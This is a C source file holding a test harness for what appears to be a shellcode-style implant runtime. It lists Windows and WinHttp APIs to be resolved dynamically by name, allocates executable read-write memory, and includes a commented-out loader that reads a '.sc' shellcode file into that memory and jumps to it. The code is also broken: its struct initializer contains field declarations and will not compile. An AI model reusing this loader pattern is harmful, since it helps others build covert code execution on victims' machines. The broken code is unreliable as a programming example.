#include <Windows.h>
#include "Runtime.h"

#include <vld.h>


BOOL APIENTRY DllMain(HMODULE hModule,	DWORD  ul_reason_for_call,	LPVOID lpReserved)
{

	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;

}

#ifdef _EXESTANDALONE
int main(int argc, char * argv[])
{
	DYNAMIC_LOADER_STRINGS moduleLoaderStrings =
	{
		CHAR strKernel32[9];
		CHAR strCloseHandle[12];
		CHAR strCreateFileA[12];
		CHAR strCreatePipe[11];
		CHAR strEnterCriticalSection[21];
		CHAR strExpandEnvironmentStringsA[26];
		CHAR strFindClose[10];
		CHAR strFindFirstFileA[15];
		CHAR strFindNextFileA[14];
		CHAR strFreeLibrary[12];
		CHAR strGetCurrentProcess[18];
		CHAR strGetDriveTypeA[14];
		CHAR strGetEnvironmentVariableA[24];
		CHAR strGetEnvironmentVariableW[24];
		CHAR strGetLastError[13];
		CHAR strGetProcAddress[15];
		CHAR strGetSystemTimeAsFileTime[24];
		CHAR strGetTickCount[13];
		CHAR strInitializeCriticalSection[26];
		CHAR strLeaveCriticalSection[21];
		CHAR strLocalAlloc[11];
		CHAR strLoadLibraryA[13];
		CHAR strLocalFree[10];
		CHAR strLocalReAlloc[13];
		CHAR strOutputDebugStringA[19];
		CHAR strReadFile[9];
		CHAR strSleep[6];
		CHAR strVirtualAlloc[13];
		CHAR strVirtualAllocEx[15];
		CHAR strVirtualFree[12];
		CHAR strVirtualProtect[15];
		CHAR strWaitForSingleObject[20];
		CHAR strWriteFile[10];
		CHAR strAdvapi32[9];
		CHAR strConvertSidToStringSidA[23];
		CHAR strGetTokenInformation[20];
		CHAR strOpenProcessToken[17];
		CHAR strMsvcrt[7];
		CHAR str_beginthreadex[15];
		CHAR str_close[7];
		CHAR strIsdigit[8];
		CHAR strIsspace[8];
		CHAR str_itoa_s[8];
		CHAR str_itow_s[8];
		CHAR strMemcmp[7];
		CHAR strMemcpy[7];
		CHAR strMemcpy_s[9];
		CHAR strMemset[7];
		CHAR str_open[6];
		CHAR strRand[5];
		CHAR str_read[6];
		CHAR str_snprintf_s[12];
		CHAR str_snprintf[10];
		CHAR strSrand[6];
		CHAR strStrcmp[7];
		CHAR str_strdup[8];
		CHAR strStrlen[7];
		CHAR strStrrchr[8];
		CHAR strSscanf[7];
		CHAR strSscanf_s[9];
		CHAR strStrcat_s[9];
		CHAR strStrchr[7];
		CHAR strStrncpy_s[10];
		CHAR strStrncmp[8];
		CHAR str_strnicmp[10];
		CHAR strStrtod[7];
		CHAR strSwprintf_s[11];
		CHAR strTime[5];
		CHAR strToupper[8];
		CHAR str_vscprintf[11];
		CHAR strVsnprintf[10];
		CHAR strVsprintf[9];
		CHAR strWcscat_s[9];
		CHAR strWcscpy_s[9];
		CHAR strWcslen[7];
		CHAR str_write[7];
		CHAR str_wtoi[6];
		CHAR strWinhttp[8];
		CHAR strWinHttpCloseHandle[19];
		CHAR strWinHttpConnect[15];
		CHAR strWinHttpGetIEProxyConfigForCurrentUser[38];
		CHAR strWinHttpGetProxyForUrl[22];
		CHAR strWinHttpOpen[12];
		CHAR strWinHttpOpenRequest[19];
		CHAR strWinHttpQueryHeaders[20];
		CHAR strWinHttpReadData[16];
		CHAR strWinHttpReceiveResponse[23];
		CHAR strWinHttpSendRequest[19];
		CHAR strWinHttpSetOption[17];
		CHAR strWinHttpSetTimeouts[19];
		CHAR strWs2_32[7];
		CHAR strGethostbyname[14];
		CHAR strInet_addr[10];
		CHAR strInet_ntoa[10];
		CHAR strNtohl[6];
		CHAR strWSACleanup[11];
		CHAR strWSAStartup[11];
		CHAR strOleAut32[9];
		CHAR strSysAllocString[15];
		CHAR strSysFreeString[14];
		CHAR strVariantClear[13];
		CHAR strVariantInit[12];
		CHAR strOle32[6];
		CHAR strCoCreateInstance[17];
		CHAR strCoInitializeEx[15];
		CHAR strCoInitializeSecurity[21];
		CHAR strCoSetProxyBlanket[18];
		CHAR strCoUninitialize[15];
	};
	
	
	INIT_FUNCTIONPOINTERS init;
	init.fpGetProcAddress = GetProcAddress;
	init.fpLoadLibraryA = LoadLibraryA;
	init.fpLocalAlloc = LocalAlloc;
	init.fpLocalFree = LocalFree;

	PRUNTIME pRuntime = NULL;
	RuntimeInitWrapper(&pRuntime, &moduleLoaderStrings, &init);

	LPVOID lpTest = pRuntime->pKernel32->fpVirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	pRuntime->pKernel32->fpVirtualFree(lpTest, 0, MEM_RELEASE);

	lpTest = pRuntime->pAllocators->fpSalloc(pRuntime, 0x100);
	pRuntime->pAllocators->fpSfree(pRuntime, lpTest);

	char **argv2 = (char**)malloc(sizeof(char*));
	*argv2 = "asdf";

	RuntimeMainWrapper(&pRuntime, NULL, 2000, argv2);

	RuntimeCloseWrapper(&pRuntime, &init);

	//HANDLE hFile = CreateFile("C:\\Users\\unknown\\stuff\\Lotus\\64bit\\Actproxy\\x64\\DllRelease\\Runtime.sc", GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	//
	//DWORD dwFileSize = GetFileSize(hFile, NULL);
	//LPVOID lpLoaderBuffer = (LPVOID)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//DWORD dwBytesRead = 0;
	//ReadFile(hFile, lpLoaderBuffer, dwFileSize, &dwBytesRead, NULL);

	//void(*func)();
	//func = (void(*)()) lpLoaderBuffer;
	//(void)(*func)();


	return 0;
}

#endif
